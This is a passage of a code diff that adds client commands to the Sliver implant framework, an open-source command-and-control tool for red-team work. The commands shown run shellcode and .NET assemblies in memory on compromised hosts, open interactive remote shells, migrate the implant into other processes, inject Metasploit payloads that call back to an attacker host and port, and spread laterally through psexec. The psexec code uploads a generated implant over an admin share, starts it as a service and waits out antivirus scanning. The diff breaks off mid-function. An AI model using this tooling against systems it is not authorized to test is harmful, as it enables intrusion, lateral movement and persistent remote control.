+// PrintSetEnvInfo - Print the set environment info
+func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
+	con.PrintInfof("Set %s to %s\n", name, value)
+}

client/command/environment/unset.go

@@ -0,0 +1,76 @@
+package environment
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// EnvUnsetCmd - Unset a remote environment variable
+func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("Usage: setenv NAME\n")
+		return
+	}
+
+	unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
+		Name:    name,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if unsetResp.Response != nil && unsetResp.Response.Async {
+		con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, unsetResp)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintUnsetEnvInfo(name, unsetResp, con)
+		})
+		con.PrintAsyncResponse(unsetResp.Response)
+	} else {
+		PrintUnsetEnvInfo(name, unsetResp, con)
+	}
+
+}
+
+// PrintUnsetEnvInfo - Print the set environment info
+func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully unset %s\n", name)
+}

client/command/exec/README.md

@@ -0,0 +1,4 @@
+Exec
+====
+
+Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.

client/command/exec/execute-assembly.go

@@ -0,0 +1,139 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
+func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	assemblyPath := ctx.Args.String("filepath")
+	isDLL := false
+	if filepath.Ext(assemblyPath) == ".dll" {
+		isDLL = true
+	}
+	if isDLL {
+		if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
+			con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
+			return
+		}
+	}
+	assemblyBytes, err := ioutil.ReadFile(assemblyPath)
+	if err != nil {
+		con.PrintErrorf("%s", err.Error())
+		return
+	}
+
+	assemblyArgs := ctx.Args.StringList("arguments")
+	process := ctx.Flags.String("process")
+
+	ctrl := make(chan bool)
+	con.SpinUntil("Executing assembly ...", ctrl)
+	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		IsDLL:     isDLL,
+		Process:   process,
+		Arguments: strings.Join(assemblyArgs, " "),
+		Assembly:  assemblyBytes,
+		Arch:      ctx.Flags.String("arch"),
+		Method:    ctx.Flags.String("method"),
+		ClassName: ctx.Flags.String("class"),
+		AppDomain: ctx.Flags.String("app-domain"),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	hostname := getHostname(session, beacon)
+	if execAssembly.Response != nil && execAssembly.Response.Async {
+		con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execAssembly)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+		})
+		con.PrintAsyncResponse(execAssembly.Response)
+	} else {
+		PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+	}
+}
+
+// PrintExecuteAssembly - Print the results of an assembly execution
+func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
+	assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+
+	if execAssembly.GetResponse().GetErr() != "" {
+		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
+		return
+	}
+
+	var outFilePath *os.File
+	var err error
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
+		outFilePath, _ = ioutil.TempFile("", outFile)
+	}
+	con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
+	if outFilePath != nil {
+		outFilePath.Write(execAssembly.GetOutput())
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+
+	if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
+		name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
+		err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
+		if err != nil {
+			con.PrintErrorf("Failed to save output as loot: %s\n", err)
+		} else {
+			con.PrintInfof("Output saved as loot\n")
+		}
+	}
+}
+
+func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.Hostname
+	}
+	if beacon != nil {
+		return beacon.Hostname
+	}
+	return ""
+}

client/command/exec/execute-shellcode.go

@@ -0,0 +1,203 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"log"
+	"os"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"golang.org/x/term"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ExecuteShellcodeCmd - Execute shellcode in-memory
+func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	interactive := ctx.Flags.Bool("interactive")
+	if interactive && beacon != nil {
+		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
+		return
+	}
+	pid := ctx.Flags.Uint("pid")
+	shellcodePath := ctx.Args.String("filepath")
+	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return
+	}
+	if pid != 0 && interactive {
+		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
+		return
+	}
+	if interactive {
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
+		return
+	}
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
+	con.SpinUntil(msg, ctrl)
+	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
+		Data:     shellcodeBin,
+		RWXPages: ctx.Flags.Bool("rwx-pages"),
+		Pid:      uint32(pid),
+		Request:  con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
+		con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, shellcodeTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecuteShellcode(shellcodeTask, con)
+		})
+		con.PrintAsyncResponse(shellcodeTask.Response)
+	} else {
+		PrintExecuteShellcode(shellcodeTask, con)
+	}
+}
+
+// PrintExecuteShellcode - Display result of shellcode execution
+func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
+	if task.Response.GetErr() != "" {
+		con.PrintErrorf("%s\n", task.Response.GetErr())
+	} else {
+		con.PrintInfof("Executed shellcode on target\n")
+	}
+}
+
+func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
+	// Check active session
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	// Start remote process and tunnel
+	noPty := false
+	if session.GetOS() == "windows" {
+		noPty = true // Windows of course doesn't have PTYs
+	}
+
+	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
+		SessionID: session.ID,
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
+
+	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      hostProc,
+		EnablePTY: !noPty,
+		TunnelID:  tunnel.ID,
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// Retrieve PID and start remote task
+	pid := shell.GetPid()
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
+	con.SpinUntil(msg, ctrl)
+	_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
+		Request:  con.ActiveTarget.Request(ctx),
+		Pid:      pid,
+		Data:     shellcode,
+		RWXPages: rwxPages,
+	})
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
+	con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
+
+	var oldState *term.State
+	if !noPty {
+		oldState, err = term.MakeRaw(0)
+		log.Printf("Saving terminal state: %v", oldState)
+		if err != nil {
+			con.PrintErrorf("Failed to save terminal state\n")
+			return
+		}
+	}
+
+	log.Printf("Starting stdin/stdout shell ...")
+	go func() {
+		n, err := io.Copy(os.Stdout, tunnel)
+		log.Printf("Wrote %d bytes to stdout", n)
+		if err != nil {
+			con.PrintErrorf("Error writing to stdout: %v", err)
+			return
+		}
+	}()
+	for {
+		log.Printf("Reading from stdin ...")
+		n, err := io.Copy(tunnel, os.Stdin)
+		log.Printf("Read %d bytes from stdin", n)
+		if err == io.EOF {
+			break
+		}
+		if err != nil {
+			con.PrintErrorf("Error reading from stdin: %v", err)
+			break
+		}
+	}
+
+	if !noPty {
+		log.Printf("Restoring terminal state ...")
+		term.Restore(0, oldState)
+	}
+
+	log.Printf("Exit interactive")
+	bufio.NewWriter(os.Stdout).Flush()
+}

client/command/exec/execute.go

@@ -0,0 +1,143 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// ExecuteCmd - Run a command on the remote system
+func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	cmdPath := ctx.Args.String("command")
+	args := ctx.Args.StringList("arguments")
+	token := ctx.Flags.Bool("token")
+	output := ctx.Flags.Bool("output")
+	stdout := ctx.Flags.String("stdout")
+	stderr := ctx.Flags.String("stderr")
+
+	if output && beacon != nil {
+		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
+	}
+
+	var exec *sliverpb.Execute
+	var err error
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
+	if token {
+		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    cmdPath,
+			Args:    args,
+			Output:  output,
+			Stderr:  stderr,
+			Stdout:  stdout,
+		})
+	} else {
+		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    cmdPath,
+			Args:    args,
+			Output:  output,
+			Stderr:  stderr,
+			Stdout:  stdout,
+		})
+	}
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+
+	if exec.Response != nil && exec.Response.Async {
+		con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, exec)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecute(exec, ctx, con)
+		})
+		con.PrintAsyncResponse(exec.Response)
+	} else {
+		PrintExecute(exec, ctx, con)
+	}
+}
+
+// PrintExecute - Print the output of an executed command
+func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+	saveLoot := ctx.Flags.Bool("loot")
+	stdout := ctx.Flags.String("stdout")
+	stderr := ctx.Flags.String("stderr")
+	cmdPath := ctx.Args.String("command")
+	args := ctx.Args.StringList("arguments")
+
+	output := ctx.Flags.Bool("output")
+	if !output {
+		if exec.Status == 0 {
+			con.PrintInfof("Command executed successfully\n")
+		} else {
+			con.PrintErrorf("Exit code %d\n", exec.Status)
+		}
+		return
+	}
+
+	combined := ""
+	if stdout == "" {
+		combined = string(exec.Stdout)
+		con.PrintInfof("Output:\n%s", combined)
+	} else {
+		con.PrintInfof("Stdout saved at %s\n", stdout)
+	}
+
+	if stderr == "" {
+		if !ignoreStderr && 0 < len(exec.Stderr) {
+			combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
+			con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
+		}
+	} else {
+		con.PrintInfof("Stderr saved at %s\n", stderr)
+	}
+
+	if exec.Status != 0 {
+		con.PrintErrorf("Exited with status %d!\n", exec.Status)
+	}
+	if saveLoot && 0 < len(combined) {
+		name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
+		err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
+		if err != nil {
+			con.PrintErrorf("Failed to save output as loot: %s\n", err)
+		} else {
+			con.PrintInfof("Output saved as loot\n")
+		}
+	}
+}

client/command/exec/migrate.go

@@ -0,0 +1,54 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// MigrateCmd - Windows only, inject an implant into another process
+func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSession()
+	if session == nil {
+		return
+	}
+
+	pid := ctx.Args.Uint("pid")
+	config := con.GetActiveSessionConfig()
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
+	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
+		Pid:     uint32(pid),
+		Config:  config,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %v", err)
+		return
+	}
+	if !migrate.Success {
+		con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
+		return
+	}
+	con.PrintInfof("Successfully migrated to %d\n", pid)
+}

client/command/exec/msf-inject.go

@@ -0,0 +1,112 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MsfInjectCmd - Inject a metasploit payload into a remote process
+func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	payloadName := ctx.Flags.String("payload")
+	lhost := ctx.Flags.String("lhost")
+	lport := ctx.Flags.Int("lport")
+	encoder := ctx.Flags.String("encoder")
+	iterations := ctx.Flags.Int("iterations")
+	pid := ctx.Flags.Int("pid")
+
+	if lhost == "" {
+		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+		return
+	}
+	if pid == -1 {
+		con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+		return
+	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
+	con.SpinUntil(msg, ctrl)
+	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
+		Request:    con.ActiveTarget.Request(ctx),
+		Payload:    payloadName,
+		LHost:      lhost,
+		LPort:      uint32(lport),
+		Encoder:    encoder,
+		Iterations: int32(iterations),
+		PID:        uint32(pid),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if msfTask.Response != nil && msfTask.Response.Async {
+		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, msfTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMsfRemote(msfTask, con)
+		})
+		con.PrintAsyncResponse(msfTask.Response)
+	} else {
+		PrintMsfRemote(msfTask, con)
+	}
+}
+
+// PrintMsfRemote - Print the results of the remote injection attempt
+func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
+	if msfRemote.Response == nil {
+		con.PrintErrorf("Empty response from msf payload injection task")
+		return
+	}
+	if msfRemote.Response.Err != "" {
+		con.PrintInfof("Executed payload on target")
+	} else {
+		con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
+	}
+}

client/command/exec/msf.go

@@ -0,0 +1,92 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MsfCmd - Inject a metasploit payload into the current remote process
+func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	payloadName := ctx.Flags.String("payload")
+	lhost := ctx.Flags.String("lhost")
+	lport := ctx.Flags.Int("lport")
+	encoder := ctx.Flags.String("encoder")
+	iterations := ctx.Flags.Int("iterations")
+
+	if lhost == "" {
+		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
+		return
+	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
+	con.SpinUntil(msg, ctrl)
+	msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
+		Request:    con.ActiveTarget.Request(ctx),
+		Payload:    payloadName,
+		LHost:      lhost,
+		LPort:      uint32(lport),
+		Encoder:    encoder,
+		Iterations: int32(iterations),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if msfTask.Response != nil && msfTask.Response.Async {
+		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, msfTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMsfRemote(msfTask, con)
+		})
+		con.PrintAsyncResponse(msfTask.Response)
+	} else {
+		PrintMsfRemote(msfTask, con)
+	}
+}

client/command/exec/psexec.go

@@ -0,0 +1,168 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	insecureRand "math/rand"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	"github.com/desertbit/grumble"
+)
+
+// PsExecCmd - psexec command implementation.
+func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	hostname := ctx.Args.String("hostname")
+	if hostname == "" {
+		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
+		return
+	}
+	profile := ctx.Flags.String("profile")
+	serviceName := ctx.Flags.String("service-name")
+	serviceDesc := ctx.Flags.String("service-description")
+	binPath := ctx.Flags.String("binpath")
+	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
+
+	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
+		con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
+		con.PrintWarnf("You might want to change that before going further...\n")
+		if !settings.IsUserAnAdult(con) {
+			return
+		}
+	}
+
+	if profile == "" {
+		con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
+		return
+	}
+
+	// generate sliver
+	generateCtrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
+	profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+	generateCtrl <- true
+	<-generateCtrl
+	var implantProfile *clientpb.ImplantProfile
+	for _, prof := range profiles.Profiles {
+		if prof.Name == profile {
+			implantProfile = prof
+		}
+	}
+	if implantProfile.GetName() == "" {
+		con.PrintErrorf("No profile found for name %s\n", profile)
+		return
+	}
+	sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
+	filename := randomString(10)
+	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
+	uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+	// upload to remote target
+	uploadCtrl := make(chan bool)
+	con.SpinUntil("Uploading service binary ...", uploadCtrl)
+	upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
+		Encoder: "gzip",
+		Data:    uploadGzip,
+		Path:    filePath,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	uploadCtrl <- true
+	<-uploadCtrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+	con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath())
+	con.PrintInfof("Waiting a bit for the file to be analyzed ...\n")
+	// Looks like starting the service right away often fails
+	// because a process is already using the binary.
+	// I suspect that Defender on my lab is holding access
+	// while scanning, which often resulted in an error.
+	// Waiting 5 seconds seem to do the trick here.
+	time.Sleep(5 * time.Second)
+	// start service
+	binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
+	serviceCtrl := make(chan bool)
+	con.SpinUntil("Starting service ...", serviceCtrl)
+	start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
+		BinPath:            binaryPath,
+		Hostname:           hostname,
+		Request:            con.ActiveTarget.Request(ctx),
+		ServiceDescription: serviceDesc,
+		ServiceName:        serviceName,
+		Arguments:          "",
+	})
+	serviceCtrl <- true
+	<-serviceCtrl
+	if err != nil {
+		con.PrintErrorf("Error: %v\n", err)
+		return
+	}
+	if start.Response != nil && start.Response.Err != "" {
+		con.PrintErrorf("Error: %s", start.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully started service on %s (%s)\n", hostname, binaryPath)
+	removeChan := make(chan bool)
+	con.SpinUntil("Removing service ...", removeChan)
